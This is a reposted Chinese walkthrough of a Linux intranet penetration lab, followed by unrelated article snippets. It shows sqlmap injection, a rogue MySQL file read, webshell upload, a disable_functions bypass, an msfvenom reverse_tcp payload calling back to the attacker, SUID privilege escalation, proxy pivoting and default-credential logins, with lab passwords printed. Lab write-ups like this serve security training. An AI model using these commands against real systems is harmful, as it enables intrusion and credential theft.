项目五linux 内网完整渗透测试实例笔记

news2024/11/18 21:40:07

1.DDD4 靶场介绍

本靶场存在三个 flag 把下载到的虚拟机环境导入到虚拟机,本靶场需要把网络环境配置好。

1.1.网络示意图

2. 信息收集

2.1.主机发现

sudo netdiscover -i eth0 -r 192.168.1.0/24

2.2.nmap 主机发现

nmap -sn 192.168.1.0/24

2.3.masscan 端口探测

sudo masscan -p 1-65535 192.168.1.102 --rate=1000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2023-01-27 08:47:26 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 80/tcp on 192.168.1.102                                   
Discovered open port 8888/tcp on 192.168.1.102                                 
Discovered open port 21/tcp on 192.168.1.102                                   
Discovered open port 888/tcp on 192.168.1.102                                  
Discovered open port 3306/tcp on 192.168.1.102

2.4.nmap 端口信息获取

nmap -sC -p 8888,3306,888,21,80 -A 192.168.0.122 -oA ddd4-port
=116.27.229.43/organizationName=BT-PANEL/stateOrProvinceName=Guangdong/countryName=CN
| Not valid before: 2020-04-09T18:40:16
|_Not valid after:  2030-01-07T18:40:16
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
| http-robots.txt: 8 disallowed entries 
| /admini/ /config/ /editor/ /inc/ /loader/ /setup/ /temp/ 
|_/xml/
|_http-title: \xE7\xA8\xBB\xE5\xA3\xB3\xE4\xBC\x81\xE4\xB8\x9A\xE5\xBB\xBA\xE7\xAB\x99\xE7\xB3\xBB\xE7\xBB\x9F[DocCms X1.0]2016\xE6\xAD\xA3\xE5\xBC\x8F\xE7\x89\x88
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
888/tcp  open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
| http-methods: 
|_  Potentially risky methods: TRACE
3306/tcp open  mysql   MySQL 5.6.47-log
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
| mysql-info: 
|   Protocol: 10
|   Version: 5.6.47-log
|   Thread ID: 23
|   Capabilities flags: 63487
|   Some Capabilities: Speaks41ProtocolOld, ConnectWithDatabase, DontAllowDatabaseTableColumn, ODBCClient, FoundRows, SupportsLoadDataLocal, Support41Auth, InteractiveClient, Speaks41ProtocolNew, SupportsCompression, LongPassword, SupportsTransactions, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, LongColumnFlag, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: rEB\(P:rR"OJe?I0S3A0
|_  Auth Plugin Name: mysql_native_password
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
8888/tcp open  http    Ajenti http control panel
| http-robots.txt: 1 disallowed entry 
|_/
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: \xE5\xAE\x89\xE5\x85\xA8\xE5\x85\xA5\xE5\x8F\xA3\xE6\xA0\xA1\xE9\xAA\x8C\xE5\xA4\xB1\xE8\xB4\xA5
|_Requested resource was http://www.ddd4.com:8888/login
|_http-favicon: OSS-Labs BT Panel
Service Info: Host: 0b842aa5.phpmyadmin

2.5.绑定 hosts

2.6.gobuser 的高级用法

└─$ gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -oddd4.log --wildcard  | grep -v 11807 | grep -v "Size: 49" 

3. 对目标进行渗透测试

3.1.SQLMAP 编码注入漏洞利用

1'二次编码后发现报错存在注入,

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1--batch -p keyword

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1--batch -p keyword -D www_ddd4_com --dump -T doc_user
+----+---------------+---------+---------+---------+-----------------------------------------------------------------------------+-----+---------+---------+------+-----------------+---------------------+----------+---------+---------+----------+----------+----------+----------+-----------+-------------+
| id | ip            | qq      | age     | msn     | pwd                                                                         | sex | mtel    | name    | role | email           | dtTime              | right    | address | cropPic | auditing | nickname | smallPic | username | lastlogin | originalPic |
+----+---------------+---------+---------+---------+-----------------------------------------------------------------------------+-----+---------+---------+------+-----------------+---------------------+----------+---------+---------+----------+----------+----------+----------+-----------+-------------+
| 1  | 192.168.0.107 | <blank> | <blank> | <blank> | 9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c | 1   | <blank> | <blank> | 10   | admin@localhost | 2020-04-24 19:45:38 | webadmin | <blank> | <blank> | 1        | 创始人   | <blank>  | admin    | 0         | <blank>     |
+----+---------------+---------+---------+---------+-----------------------------------------------------------------------------+-----+---------+---------+------+-----------------+---------------------+----------+---------+---------+----------+----------+----------+----------+-----------+-------------+

9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c

明文是加密的解不开的

3.2.MYSQL 服务器恶意读取客户端文件漏洞利用

从网上下来一套源码。发现 setup\setup.php

<?php
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
$rs = mysql_query('show databases;');
while($row = mysql_fetch_assoc($rs)){
$data[] = $row['Database'];
}
unset($rs, $row);
mysql_close();
if (in_array(strtolower($dbname), $data)){
echo '1';
}else{
echo '0';
}
}elseif($_GET['action']=="creatdb"){
if(!$dbname){
die('0');
}
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
if (mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8COLLATE utf8_general_ci",$con)){
echo "1";
}else{
echo mysql_error();
}
mysql_close($con);
}
exit;
?>
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}

这个可以连接远程的 mysql 所以可以利用 mysql 的 bug 可以读取文件。

3.3.Rogue-MySql-Server 读取文件

https://github.com/allyshka/Rogue-MySql-Server

vim rogue_mysql_server.py

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.1.53&action=chkdb

获取 /etc/passwd 内网

3.4.Rogue-MySql-Server 读取配置文件

http://www.ddd4.com/config/doc-config-cn.php

得到数据库连接文件
dbname www_ddd4_com
username www_ddd4_com
password x4ix6ZrM7b8nFYHn

3.5. 登录 mysql

mysql -h192.168.1.102 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn

3.6. 后台密文登录

密文不能直接破解 只能替换登录 登录之后再替换回来修改程序生成密文 admin 的明文为 33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

MySQL [www_ddd4_com]> update doc_user set
pwd='33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0' where id=1;
Query OK, 1 row affected (0.005 sec)
Rows matched: 1 Changed: 1 Warnings: 0

成功登录后台。

3.8.模板编辑拿 webshell

4. linux 特权提升

4.1.突破 disable_functions 提权

这套新系统的宝塔系统 php 禁止很多函数的执行 passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv 有些版本还是漏了一些函数可以执行。

上传bypass_disablefunc.php绕过函数执行的脚本

http://www.ddd4.com/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

反弹失败。

4.2.metasploit 反弹 shell

4.2.1.生成攻击载荷

sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.53
LPORT=13777 -f elf >ddd4

4.2.2.监听端口

msfconsole 打开 metasploit
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.0.109
LHOST => 192.168.0.109
msf5 exploit(multi/handler) > set lport 13777
lport => 13777
msf5 exploit(multi/handler) > exploit

将文件上传到添加执行权限,在目录执行即可 http://www.ddd4.com/bypass_disablefunc.php?cmd=chmod%20777%20ddd4&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so http://www.ddd4.com/bypass_disablefunc.php?cmd=./ddd4&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

切换 shell

python -c 'import pty;pty.spawn("/bin/bash")'

4.4.查看用户

www@host123:/www/wwwroot/www.ddd4.com$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
host123:x:1000:1000:host123,,,:/home/host123:/bin/bash
www@host123:/www/wwwroot/www.ddd4.com$

4.5.获取第一个 flag.txt

4.6.通过宝塔提权到 root

host123 桌面存在文件 bt.txt
www@host123:/www/wwwroot/www.ddd4.com$ cat /home/host123/bt.txt
cat /home/host123/bt.txt
Bt-Panel: http://192.168.1.102:8888/944906b5
username: gpeqnjf4
password: d12924fa
www@host123:/www/wwwroot/www.ddd4.com$

4.7.通过 suid 提权到 root

find / -type f -perm -u=s 2>/dev/null
/bin/su
/bin/ping6
/bin/mount
/bin/fusermount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/pppd
/usr/sbin/sensible-mda
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/vmware-user-suid-wrapper
/usr/bin/find

存在 find 带有 s 可以用于提权

find test -exec whoami \;

4.8.linux 三大信息收集脚本的使用和解释

4.8.1.LinEnum 的使用

这个脚本是用来收集系统的信息 如 特殊文件的权限 suid 文件信息网络端口信息建立 WEB 服务器

sudo python -m SimpleHTTPServer 80 下载文件执行

wget http://192.168.1.53/LinEnum.sh

chmod +x LinEnum.sh

历史记录找到 root 密码 yanisy123

4.8.2.linux-exploit-suggester.的使用

这个用来检测是否存在提权 cve 漏洞

4.8.3.linuxprivchecker.py

这个用来检测权限 python linuxprivchecker.py

find test -exec './LinEnum.sh' ;

4.9.sudo 提权

sudo -l host123 用户可以执行命令

4.10. 第二个 flag

5. linux 内网跨网段渗透

5.1.获取高权限的 meterpreter

先用 metasploit 反弹一个 root 权限的 meterpreter msf5 exploit(multi/handler) > exploit -j 放在后台执行

5.2.网卡路由信息获取

切换到会话2

rface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : ens33
Hardware MAC : 00:0c:29:fe:72:5c
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.1.102
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::1c4:a293:dedb:7855
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  3
============
Name         : ens38
Hardware MAC : 00:0c:29:fe:72:66
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 10.10.10.145
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::86a5:57c9:24d0:e448
IPv6 Netmask : ffff:ffff:ffff:ffff::

自动添加路由

run post/multi/manage/autoroute

查看路由

run autoroute -p

5.3.查看 host 文件

cat /etc/hosts

5.4.metasploit 设置代理进入内网

use auxiliary/server/socks_proxy
exploit

sudo vim /etc/proxychains.conf

proxychains4 nmap -sT -Pn 10.10.10.144

5.5.对 www.ddd5.com 进行检测

发现是 emlog 后台默认密码 123456 即可登录 但是 用 proxychains3 不是很稳定。

5.5.2.后台拿 WEBSHELL

从网上下来一个 emlog 把带有后门文件的 php 设置打包好在 emlog 后台上传模板压缩包解压后即可 在 模板名的目录生成一个 php 后门。

6. linux 内网跨段提权

6.1.查看端口信息

6.2.用户信息

 cat /etc/passwd | grep -v nologin

6.3.wdcp 主机提权

8080 端口是一个 wdcp 主机 在旧版 wdcp 安装都是一些默认信息。

账号 admin 密码 wdlinux.cn 主机登录的 默认密码被修改了 但是 mysql 的默认密码还没修改 可以通过phpmyadmin进行登录。

管理员的密文 17d03da6474ce8beb13b01e79f789e63 破解出来是 moonsec123 登录主机进行提权

在运行命令处

6.4.最后一个 flag

6.5.ssh 钥匙登录

在 wdcp 生成秘钥保存下来 在 kali 设置权限 600

proxychains3 ssh root@10.10.10.144 -i sshkey_wdcp

你知道什么叫幸福嘛?幸福就是拍拍手。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/183872.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python批量改文件名

对以下路径中的文件名批量修改。 一、读取指定路径中的文件名 #导入标准库 import os#读取文件名 filesDir "路径……" fileNameList os.listdir(filesDir)#输出路径中的所有文件 for filename in fileNameList:print(filename)二、正则表达式提取需要保留的部分 …

[Vulnhub] DC-6

下载链接&#xff1a;https://download.vulnhub.com/dc/DC-6.zip 知识点&#xff1a; wordpress-getshellnc反弹shell横向越权nmap提权 目录 <1> 信息搜集 <2> wordpress_Activity monitor插件rce漏洞getshell <3> Privilege Escalation&#xff08;nm…

windows上安装hadoop

下载与安装 hadoop下载官网 清华大学镜像下载 进入官网点击Binary download是运行在windows上的。在Apache里面下东西经常会有binary和source的版本&#xff0c;binary是编译好的可以直接使用&#xff0c;source是还没编译过的源代码&#xff0c;需要自行编译。 镜像下载 选…

OSERDESE3与ODELAYE3原语

SelectIO 接口 UltraScale 架构的器件 包括三种I/O&#xff1a;高性能(HP), 高密度 (HD),和高量程(HR) I/O banks 。 HP I/O banks满足高速存储和片到片接口性能要求&#xff0c;电压最高1.8V。HR I/O banks支持更大范围电压&#xff0c;电压最高3.3V。HD I/O banks支持低速接…

Day872.事务间是否需要隔离 -MySQL实战

事务间是否需要隔离 Hi&#xff0c;我是阿昌&#xff0c;今天学习记录的是关于事务间是否需要隔离的内容。 创建的视图是静态视图&#xff0c;当前视图对应的数据由字段的当前值加上回滚段计算得到。 事务隔离级别 的时候提到过&#xff0c;如果是可重复读隔离级别&#xff…

1457. 二叉树中的伪回文路径

1457. 二叉树中的伪回文路径题目算法设计&#xff1a;深度优先搜索题目 传送门&#xff1a;https://leetcode.cn/problems/pseudo-palindromic-paths-in-a-binary-tree/ 算法设计&#xff1a;深度优先搜索 如何判断一组数字是否存在一个回文串组合&#xff1f; 如 [1, 2, 1]…

css元素显示模式(行内、块级、行内块)

1.块级元素 显示特点&#xff1a; 1、独占一行&#xff08;一行只能显示一个&#xff09; 2、宽度默认是父元素的宽度&#xff0c;高度默认由内容撑开 3、可以设置宽高 代表标签&#xff1a; div、p、h系列、ul、li、dl、dt、dd、form、header、anv、footer <style>div…

电脑数据怎么迁移?6种旧电脑数据传输到新电脑方法分享

如今&#xff0c;我们拥有如此多的设备&#xff0c;从一个设备跳到另一个设备似乎是一项艰巨的任务。平均而言&#xff0c;一个人可能拥有一台电脑、一部智能手机和一台平板电脑。但是&#xff0c;如果您有多台计算机或要换一台新计算机怎么办&#xff1f;您可能在互联网上问过…

电脑录像软件推荐?分享3款,简单好用且方便

​在日常生活中&#xff0c;我们经常会遇到临时有事情需要外出处理的时候&#xff0c;但在如果正好在上网课或者开会议、听讲座的时候&#xff0c;这时候外出很容易会错过一些重要的内容。这个时候&#xff0c;就需要借助电脑录像软件了。电脑录像软件推荐什么&#xff1f;今天…

Docker consul

目录 一、Docker consul简介 二、Consul优势 三、Consul中的概念 四、部署 1、consul服务器配置 2、查看集群信息 3、在浏览器上进到consul的界面进行管理 4、容器服务自动注册到consul集群 5、consul节点配置nginx 6、配置模板信息 7、配置并启动consul-template …

Java创建pdf的代码

一、概述 以下代码可以在指定文件夹内创建一个简历pdf。 以下代码生成pdf&#xff0c;主要是设置cell所占的行、列、内容。 二、代码 1.需要的jar包 itext-asian-5.2.0.jar itextpdf-5.5.5.jar2.个人信息类MsgUtil.java 这个类里面放了个人信息&#xff1b;也可以放多个人…

Python量化投资——股票择时到底能否赚钱?TA-Lib中33种技术指标有效性回测研究

TA-Lib中33种技术指标回测研究Python量化投资——TA-Lib中33种股票择时技术指标的有效性研究为什么要做这个评测技术指标清单评测方法评测工具期待你的意见Python量化投资——TA-Lib中33种股票择时技术指标的有效性研究 为什么要做这个评测 技术指标是股票交易中最常用的技术…

CSS 常见布局

文章目录CSS 常见布局单列布局单列布局&#xff08;不通栏&#xff09;单列布局&#xff08;通栏&#xff09;双列布局floatoverflow:hiddenflexgridCSS 常见布局 单列布局 单列布局&#xff08;不通栏&#xff09; <!DOCTYPE html> <html><head><meta …

推荐系统之推荐中心逻辑

5.5 推荐中心逻辑 学习目标 目标 无应用 无 5.5.1 推荐中心作用 推荐中一般作为整体召回结果读取与排序模型进行排序过程的作用&#xff0c;主要是产生推荐结果的部分。 5.5.2 推荐目录 server目录为整个推荐中心建立的目录 recall_service.:召回数据读取目录reco_centor:推…

如何利用 Selenium 对已打开的浏览器进行爬虫!

大家好&#xff0c;我是安果&#xff01;在对某些网站进行爬虫时&#xff0c;如果该网站做了限制&#xff0c;必须完成登录才能展示数据&#xff0c;而且只能通过短信验证码才能登录这时候&#xff0c;我们可以通过一个已经开启的浏览器完成登录&#xff0c;然后利用程序继续操…

STM32—超声波测距

超声波简介 超声波测距模块是用来测量距离的一种产品&#xff0c;通过发送和收超声波&#xff0c;利用时间差和声音传播速度&#xff0c; 计算出模块到前方障碍物的距离。 型号&#xff1a;HC-SR04 时序图 怎么让它发送波 Trig触发信号&#xff0c;给Trig端口至少10us的高电平…

“华为杯”研究生数学建模竞赛2005年-【华为杯】A题:城市交通管理中的出租车规划(附获奖论文)

赛题描述 A: Highway Traveling time Estimate and Optimal Routing Ⅰ Highway traveling time estimate is crucial to travelers. Hence, detectors are mounted on some of the US highways. For instance, detectors are mounted on every two-way six-lane highways o…

Postman使用详解

一、常见类型的接口请求查询参数接口接口地址中&#xff0c;&#xff1f;问号后面的部分&#xff0c;即查询参数&#xff1b;该部分内容由键值对组成&#xff0c;有多个时&#xff0c;用&符号分隔。请求方法&#xff1a;GET表单类型接口1&#xff09;HTTP请求&#xff0c;一…

电脑如何重装系统?Win10系统安装只需这两招!

电脑在日常生活和工作中是使用的比较多的。随着时间的推移&#xff0c;电脑越来越卡&#xff0c;系统越来越慢&#xff0c;或者是由于其他情况&#xff0c;有些人会选择对电脑进行重新安装。 但是很多人不知道系统安装前要注意什么&#xff0c;以及安装有哪些方法&#xff0c;…

论文笔记:Modeling Kinect Sensor Noise for Improved 3D Reconstruction and Tracking

文章目录概述效果如何&#xff1f;take home messagelateral noise 模型axial noise 模型实验实验设定lateral noise与axial noise的定义axial noise与lateral noise的提取噪声分布的结果和建模最终拟合得到的lateral noise模型最终拟合得到的axial noise模型应用噪声模型至Kin…